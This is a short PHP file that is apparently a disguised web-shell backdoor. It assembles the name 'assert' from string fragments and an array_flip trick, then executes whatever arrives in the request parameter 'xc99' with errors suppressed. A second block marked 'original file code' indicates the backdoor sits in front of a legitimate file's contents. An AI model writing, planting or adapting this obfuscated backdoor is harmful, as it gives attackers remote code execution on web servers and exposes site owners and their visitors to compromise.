<?php
$a1 = "ass";
$a2 = "ert";
$arr=array($a1.$a2=>"test");
$arr1=array_flip($arr);
$arr2 = "$arr1[test]";
//$arr2 = "assert";
@$arr2($_REQUEST['xc99']);
?>
<?php
//原文件代码。。。
?>